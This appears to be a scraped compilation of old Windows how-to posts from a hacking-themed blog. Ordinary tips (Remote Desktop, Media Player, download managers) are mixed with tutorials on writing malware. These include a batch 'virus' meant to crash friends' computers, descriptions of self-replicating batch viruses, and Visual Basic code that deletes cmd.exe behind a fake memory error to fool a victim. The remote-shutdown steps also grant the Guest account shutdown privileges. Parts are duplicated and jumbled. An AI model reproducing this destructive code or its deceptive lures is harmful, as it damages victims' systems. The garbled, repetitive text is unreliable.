Shutdown a computer with its ip address!
Microsoft Windows 2000, XP (XP home users read below section) and later users can easily remotely shutdown another computer in their network by utilizing the shutdown command. To start the GUI version of this command click Start / Run and in the Run line type: shutdown -i and press enter. After running this command you should see a dialog window shown in the below example.
As can be seen in the above example picture of the Remote Shutdown dialog you'll have several different options to choose from. First specify the name or IP address of the computer you wish to shutdown by clicking the Add button. Next, select Shutdown and keep the Warn users of the action checked if you wish to warn the user of the shutdown before it occurs. Next, in the Shutdown Event Tracker choose the Option you wish the Event Log to show and enter a comment.
For Windows Home computers
If the remote computer you're attempting to shutdown is running Microsoft Windows Home. You'll need to enable guest remote shutdown privileges before following the above steps will work. To do this follow the below steps.
1. Download the Windows Resource Kit found here to the computer you're wanting to remotely shutdown.
2. Once downloaded and installed copy the NtRights.exe file from the "Program Files\Windows Resource Kits\Tools" directory into the "Windows\System32" directory.
3. After the file has been copied open a command prompt window by clicking Start / Run and typing: cmd and pressing enter. At the prompt type the below commands exactly as you see them here (unless your Windows directory is in a different path).
cd\windows\system32
NtRights –u Guest +r SeRemoteShutdownPrivilege
NtRights –u Guest +r SeShutdownPrivilege
4. If successful after typing each of the above two NtRights commands you should get a success message. Once this has been completed exit the command prompt window and restart your computer.
Once the above steps have been completed you should be able to remotely shutdown that computer from another Windows computer.
Unable to get remote shutdown to work
This could be caused by any of the below possibilities.
1. The domain administrator has group policies in place to prevent remote shutdown.
2. Remote administration or the $ADMIN share is disabled.
3. You're logged into an account that does not have administrative privileges.

How to make a simple batch virus with dialog that will be undetectable
This batch virus will also be undetectable because it doesn't use any malicious script recognized by anti-virus. Really all it does is open many programs at once and keeps the cpu at 100% so the comp crashes. Here is the code and you can put any dialog you want in there be creative. Also I have tested this and Nod32 doesn't even pick it up.
Paste the below codes in to Notepad and save with *.BAT extension.
==========================================
This is just a fun virus and it doesn't harm to the system.
Try with your friends' computer and Enjoy!!!

How To Remotely Access Your PC
Windows XP Professional includes a basic PC remote control tool which lets you log onto your PC remotely from anywhere. Do you know how to use it?
It’s called Remote Desktop Connection, and when you’ve properly configured your PC, this handy utility will let you log into your computer from anywhere in the world and control it as if you were sitting in front of it instead of half a world away.
If you’re running Windows XP Professional, you already have all the software you need to connect remotely to your PC. Whether you’d like to monitor a server, grab files from your home PC at work, or just keep an eye on your machines when you’re out, connecting remotely is easy to do. However, due to the vagaries of network configurations and various other quirks beyond your control, you may not be able to actually connect. Until now.
Prepping your system
First, you need to know the IP address of the computer you want to connect to. The only sure-fire way to always be able to connect to your PC’s is to use an ISP that provides you with a static IP address. Most ISPs give customers dynamic IP addresses, which can change every few days or even hours. Because your IP address is the way you’ll locate your computer on the net, you’ll need to know what your IP address is and monitor it as it changes.
The good news is that there are loads of programs that will notify you of IP address changes, whenever they occur. We like IP Address Monster (ipmonster.com). It’s a small program that runs in your system tray and can be configured to e-mail you whenever your IP address changes.
IP Address Monster should be your first stop to remote connectivity. This handy utility will keep tabs on your Internet address and send you an e-mail whenever it changes.
Now that you know your IP address, you need to make sure that Remote Desktop Connection is enabled. Make sure your firewall is configured to allow incoming connections on port 3389 (firewalls vary, so check your documentation to find out how to open the port).
You can turn on Remote Desktop Connection in the System Control Panel (Start, Control Panel, System). Check the Remote tab and make sure “Allow users to connect remotely to this computer” is checked. You’ll also need to have at least one user account that requires a password because accounts without passwords are prohibited from logging into Remote Desktop.
To enabling Remote Desktop, open the System Control Panel, go to the Remote tab, and check this box.
It’s important to make sure the passwords on the machine you’re going to remotely log into are “good” ones. This means you should use a mixture of letters and numbers, avoid words that are found in dictionaries, and change the password regularly to protect yourself from mischief.
Making the connection
At this point, your PC should be prepped and patiently waiting for a connection. To log in, you need to open the Remote Desktop Connection client on your remote PC. Go to Start, Programs, Accessories, Communications, Remote Desktop Connection. Input the IP address you want to connect to (courtesy of IP Address Monster) in the Computer field. Then enter your username and password.
Now you’ll want to tweak a few settings to optimize your remote experience. Whiz-bang features gobble up bandwidth, so you should tune your settings to match your home net connection. We recommend you start with a minimal feature set. Press the Options button, then the Display tab. Change the display settings to full-screen, 256-color. This looks acceptable and consumes practically no bandwidth. You’ll also want to browse to the Experience tab and change the Performance setting to reflect your home PC’s connection speed.
Switching to a lower color resolution and a smaller display area will greatly minimize the amount of data that has to transfer between your computer and the remote PC.
Once you’ve tuned the connection a bit, you’re ready to connect. Press the Connect key and you’re in!
What to do next
At this point, you should be connected. You can run programs and manipulate files just like you’re sitting in front of your PC. In fact, you can even use your PC’s e-mail and web browsers. Do you want to start downloading Desert Combat now so you can start playing it when you get home? That’s easy enough; just log into your PC using Remote Desktop, open your web browser, and download the file. It will be sitting on your machine waiting for you as soon as you get home. If all your PCs are running Windows XP Pro, and you enable drive-sharing in the Local Resources tab, you can transfer files from remote PC to local PC. You can even remotely transfer files between local PCs on your home network.
Once connected, you can interact with printer ports and networked hard drives. This is a handy way to delete those “special interest” videos you downloaded before your wife finds them.

How to Captured Image In Windows Media Player
How do I capture an image from a movie in Microsoft Windows Media Player?
Often a user may attempt to capture an image from a video in Microsoft Windows Media Player using the print screen button. Unfortunately when pasting the image into an image editor the capture will be a blank or black image.
Answer:
There are several different answers that can apply to this question. Depending on the type of movie that is being played and what codec it is using may change what will work and what will not work. We suggest going through each of the below recommendations, if a solution does not work continue down the list.
First Option:
While in Microsoft Windows Media Player press "CTRL + I", if the video you are watching is using a Microsoft supported movie file you should receive a "Save Captured Image" window, allowing you to save the image as "capture" or any other name.
Although this solution is a quick and easy solution, you may not get the results you want as the image will often be smaller and lesser quality then what you see when you press the keys. If you wish to capture better images at any size, even full screen try the second solution.
Second Option:
This solution should only be used to capture images from any video, once done it should be changed back as it may cause other issues. However, this should work with all types of video files.
1. Open Microsoft Windows Media Player.
2. Click Tools and then Options.
3. Within the Options window click the Performance tab.
4. Within Performance click the Advanced button.
5. In Video Acceleration Settings uncheck "Use Overlays"
6. Click Ok.
7. Finally, click Apply and then Ok in the Options window.

Batch Virus Code
====================================================
Most of the virus in here are harmful to your system so, I recommend not to try
yourself or to your friend's computer. This is just for your information only.
====================================================
The Wagner Virus
Batch virus "_!"
Infects parent and current directories
Virus code is appended to the host batch
Only works if host is in current directory
Infects just one batch unless new clean batches are added.
This is a very simple batch virus. When it runs it appends its code to another batch file in the parent or current directory. It is not very effective but illustrates the basics.
Batch virus "BfV"
Creates the hidden file "_BFV" in the root directory of drive C
Infects one batch per run in current and parent directories
Gives up after encountering seven infected batches
Virus code is appended to the host batch
This is an improved appender. It only has to be run from its own directory once to enable it to reproduce even when the host is in a path directory. To avoid slowing batch files down too much it exits if it can't infect after checking seven batch files. If the host batch ends with nul characters it removes them so the virus code will run.
Batch virus "MeLT"
Creates the hidden file "MELT_2A" in the temp directory
Infects files in the current, parent and all path directories
Infects one batch per run if less than ten infected files encountered
After detecting ten infected files it displays a graphics screen effect
Adds one line before the host batch and appends the rest
Will not run if attached to AUTOEXEC.BAT (but infects it)
This batch virus is much more advanced. It takes control from the host immediately, runs the virus then runs the host batch. The host is run in such a way as to disable the virus until the host is completely finished to avoid slowing down batch files that call themselves in a loop. Simple appenders are very obvious when on such files, but this one causes no significant speed loss except at startup. This virus carries a harmless payload which is assembled with the debug command - it 'melts' the screen in a flash of color then returns it to normal before running the host.
QBasic virus "BasVir"
Infects one BAS file in the current directory per run
Inserts its code in front of the host so it will run first
Does not infect QBasic programs that contain "DECLARE"
Really a batch virus that hides in BASIC code
If the host is renamed the virus won't work
I wrote this in response to someone's request on the net for a virus written in BASIC. I hope they don't mind if the BASIC program makes a batch and runs it. It stays out of programs that use procedures to avoid causing errors, such programs cannot tolerate prepended code. This is really a joke, but it's a QBasic virus (no? you write one.)

A General How to Guide to Downloading
Introduction
Downloading is the act of retrieving a file from a location. This location can be remote (from a site/computer or host other than your own) or local (your network or your own computer). When a user surfs the internet, you are constantly downloading files regardless. These files are HTML pages, JScript files, images, media and other information that the browser displays to you. While this is not notably called downloading, it is ..that is to say that it is downloading all the files needed to show and display the page.
Downloading has come a long way from it's original stance, which was to allow general transfer of small files across a network. What was once meant to transfer a few kilobytes of data (that's about the common text or word document), evolved into gigabytes of data being transferred internationally from one corner of the globe to the next. This inadvertently mean that speed would definitely be factor, and so faster internet connections came along. Whatever provoked it, you are here today reading this tutorial most likely just interested in the common know how and most likely how to get the downloads from Invision.
Now not only are there many ways to download files (i.e. the various methods: P2P, Http, FTP, etc), there are also many programs that each have their own functionality and advantages. This tutorial will briefly discuss them and help you get an understanding on how to use them. I know that this tutorial most likely won't be frequented, but I've written it as a few of our users now and then will wonder how to download X program, and this way I can just refer them to this tutorial.
So lets begin.
HTTP - The Mother of All Protocols
Well seeing as how you're on this page, you most likely know how to surf the web and use a web browser - so there will be no need for me to teach you how to. HTTP is a protocol designed for the Internet, it uses port 80 (FYI) and is used to transfer webpages, graphics, images from internet sites. HTTP or hyper text transfer protocol is how the majority of files are downloaded all over the net, whether it be an html page or a 3 TeraByte file. Skipping all symantec's I'll cut to chase, http is how many downloads on this site will be downloaded. Using a normal browser, like Internet Explorer or Netscape Navigator (or FireFox), you normally just click a link and in seconds to minutes (depending on your internet connection, the servers proximity to your location, and various other factors) the file will begin to download.
There are few utilities that can be used when downloading from http to better manage your files and to increase the speed at which files are downloaded. These of course are called 'Download Managers'. They all have varying features, some useful - some not so useful. It's really up to you whether you use one or not, and the results vary from computer to computer, and region. Here is just a few of the nearly 1000's.
Download Accelerator (DAP) - Download Accelerator (Plus) is one of the most popular download managers on the web. It boasts the ability to speed up your downloads and help you pause/resume them as well. I personally have used this, and found it to be quite good. However that was when I was using dialup. After turning to broadband (high speed) internet I realized that it didn't make any difference. So if you are on dialup use this, as it works quite well, but if your on broadband (cable/dsl/t1/isdn), it just serves as a download manager.
FlashGet - Flashget or formerly known as JetCar, is one of best and most popular download accelerators and download managers on the net, maybe more so than Download Accelerator. Much like DAP, it can speed up downloads but it does so by splitting the file into several parts and download each part of those files separately and than putting them together again in the end. Note, that on certain servers and on certain sites (mainly download sites - if we ever do we'll have a warning telling you), you can get banned or temporarily suspended from downloading because the host thinks your trying to hammer (the act of consistently and repetitively trying to connect and/or download from a host). So read the notes a site gives. Other than that, Flashget is great!
Net Pumper - Net pumper boasts the ability to download from Anti-Leech sites (read below on Antileech to learn more). The free version contains spyware (spyware are bits of code that gather information on what sites your surf, what you download, what you do online and offline and are intrusive to your privacy). The advantage to this is that you don't have to use the Anti-leech plugin that many hate, and that you can pause/resume the downloads and even speed up the uploads. But it does contain spyware (which doesn't affect your pc, but it may track what you download or what sites you are on when you are downloading). Not to say that DAP or flashget may not have spyware.
Go-Zilla - This is probably the last one I'll list, Go-Zilla is much like DAP. During the early years of the Internet go-zilla was extremely popular. At the end of every download, you'd be informed it was completed with a loud Jurassic Park T-Rexish roar. It can do all the regular download manager things, but it was one of the originals.
Anyways, that's just a few download managers. It's beyond my knowledge, of why the creators allow users to choose skins for their download manager (it's only a download manager - not your desktop), but whatever sells I guess.
Now the next type of download method is the Antileech plugin.
Anti-Leech - Protecting the Source from the User
Many wonder why we use Anti-Leech, and the answer is simple. To stop you from leeching it. Now before you get insulted, what I mean here is that the Internet is place of much mystery, anyone can be anything or anywhere. Your greatest ally could be your greatest foe. As a webmaster we can never tell who is loyal and who is going to stab you. In the same way, we can't tell who will just download our files, and who will post the links on their own site or another forum. Leeching hurts everyone, not just the site. By a file being leeched, it prevents you the user from getting the files because the more people who download the file, the slower it downloads and the faster it gets deleted. In addition, the site that really uploaded it loses the interest to upload because its files are being stolen and thus slows down its uploads or stop uploading overall. Most sites that steal links and post it on their site, often require you to sign up for some sort of service (generally adult in nature) and lie to you stating that they uploaded the file.
Anti-Leech is a small plugin that will allow you to download the files, but will not let you find the real source of the files. This is the best alternative to restricting access to files and only allowing trusted users download the files. The Antileech system works quite well, and we have a full tutorial on how to use it under the Invision tutorials section. Antileech is some what in limbo between http and ftp, since it can download from both these sources.
FTP - The File Specialist Protocol
Designed and fortified with the intent of transferring files, FTP or File Transfer Protocol (port 21) is used for file transfer only. In order to access ftp you'll need an ftp client, and while certain browsers such as Internet Explorer offer you the ability to navigate ftps with their browsers, it is usually slow at doing so. A good ftp client is what you'll need if your serious about it, it should have the ability to download files - optionally resuming/pausing, and the ability to queue files so they can be subsequently downloaded. A few FTP clients are listed below:
Smart FTP - SmartFTP is possibly a good freeware ftp client, with the ability to upload/download, pause/resume and all other ftp client doodads - including a bandwidth monitor. I strongly recommend this as it's good for your average FTPing.
WSFTP - This is a popular - yet painfully bland ftp program. I really find this program unattractive as it's versatility is limited by its design.
Flash FXP - yet another freeware and very popular ftp program with all the functionality an ftp program should have, but allows FXPing (the art (well its not really an art) of transferring files form one ftp to another).
Well those are just a few ftp programs and they should be a good start to using FTPs. An FTP address usually looks like this:
The first ftp address is a regular ftp that doesn't ask for a username or password, while the second ftp requires a username and password. The "user" part is the username it can be anything and is usually assigned to you by the owner of the ftp so that you have access or special access to it. The "pass" is the password unencrypted, this is the special part that ensures that you are who you say you are (it checks to make that your password matches your username - so if you have the right username, but not the right password you don't get in!). The 127.0.0.1 is the real address of the host. It is an IP (internet protocol), which all users have - only they've used a special program to allow them to run the ftp. That is just about all you need to know on ftps, the rest you can learn from your FTP program and the general interface of the program.
We move on to P2P programs.
P2P - I'll share with you, If you'll share with me
P2P or peer 2 peer programs are based on the concept of "I'll share what I have, you share what you have". The concept is a bit idealistic as human nature is to take without giving back - a survival of the fittest type approach. These programs usually connect to a network or other users on a remote port and attempt to search the database of other users to see if the file you want is available with other users who are currently connected to the network. If it finds the file with another user(s) it begins downloading the file, however if it finds the download and it's being downloaded by other users it adds you to the queue. However if it doesn't find the file you're looking for, it may display an error page, or give you an error message that it can't find what you're looking for. These programs work overall by users sharing what they have on their computer (limited to whatever you wish to share, it could be anything from your entire hard drive to the contents of a folder or file. But by sharing something, each user makes the database of files a bit stronger. The following is a list of P2P programs that are currently available today, I'm sure you've heard of a few of the deceased or revamped ones like Napster:
Kazaa - One of the biggest P2P programs after the closure of Napster by the RIAA, Kazaa was one of the most popular P2P programs, however past RIAA sweeps have made its fanbase nearly decimated by 70%. A few stragglers still use it, and it is still quite good for music files, but virtually dead for anything other than audio files.
WinMX - a somewhat popular P2P program that boasts endless sharing of files, with no spyware. However nearly ever search for a file on it's network will result in pornography and other disgusting and illegal movies. In my opinion, one of the worst clients. It's GUI (interface) is really primitive and lacking.
Bitorrent - Probably one of the quickest P2P programs to launch, it's main focus is the equal distribution of files and the art of sharing while downloading. It works by a user downloading a special file, known as a 'torrent'. You download the 2kb or less torrent file and open it in your torrent client. This will start the process of downloading, where you are connected to other users and must upload 3 kb to download 3 kb. In doing this, you will have uploaded the file (at least the file size) to have downloaded it. We have a full tutorial in our tutorials section, visit it to learn more. I really like BT, because it encourages sharing and only leechers dislike this program.
E-Mule - This is a popular p2p program, mostly in Europe (Germany). It works much like many of the other P2P programs, but is quite slow. It has one of the best range of downloads, you can find close to everything here. But downloading it is a real problem, as finding what you're looking for and actually getting it are two different things. Downloads are slow, unresponsive and usually are queued (meaning that one user has a file, and there are several users all waiting to download that one file - you could end up having to wait days-to-weeks just to start downloading the file to realize that the source has disappeared). Good but not very effective.
Those are just a few P2P programs, there are hundreds more. And probably even more waiting to take the place of one of these P2P programs. If you're not willing to share (upload to others) than there aren't many options available to you, as most new P2P programs require you to do a bit of uploading and sharing before you can get files yourself.
Invision Downloader - the Brain Child of Invision
It just wouldn't be complete, without listing my own little creation, The Invision Downloader. The Invision Downloader stems from the need for a way to quickly transfer files without much input and struggle from the end user. And with the security leaks in the Antileech plugin, it's just a lot easier to create a tool that I and users can use to get the files. So along came the Invision Downloader. Using encrypted databases, the Invision Downloader lets you preview a file before you even download it. On our downloads page is a 5-8 lettered keyword. It can be random letters and numbers like 'S94f49'. Using the Invision Downloader, and entering this keyword into the invision downloader, the downloader will retrieve information on this download and show you how many files there are, what the game looks like (screenshot), a description of the game, what you need to install it and other important information. With a click of a button you can easily download the files and install it, a feat that compared to the other downloaders is absolutely amazing (if I should say so myself). You can read a full tutorial and guide in our tutorial page, that will tell you how to use the Invision Downloader and get just about anything with it.
Lets conclude this tutorial, with the conclusion!
Conclusion
Well that's about all you really need to know, the rest you can just pick up or read about in help/faq files. In the history of file transferring there have been may forms and methods to send and recieve files, and you can bet there will be tons of new and practical innovations in this field.

Conclusion
Well that's about all you really need to know, the rest you can just pick up or read about in help/faq files. In the history of file transferring there have been may forms and methods to send and recieve files, and you can bet there will be tons of new and practical innovations in this field.
Visual Basic Viruses
========================================================== ==
Be careful when testing or running Visual Basic scripts, they can cause serious damage to you system.
========================================================== ==
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal. First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it 'A'
Now once the command button is clicked on the project the command file will be deleted. Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.
Here is to go about it.
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you.
Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this.
That's all you need to kill, then you will see the file has been removed.
========================================================== ==
Be careful when testing or running Visual Basic scripts, they can cause serious damage to you system.
========================================================== ==
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal. First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Code:
Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End SubNow I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it 'A'
Code:
Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End SubHere is to go about it.
Code:
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End SubRight, we can now make it a little more difficult if you are finding the above a little too easy.

Speed Up Acrobat Reader Loading
Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.
1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)
2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).
Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).
Now your acrobat reader will load very fast and almost as good as notepad..
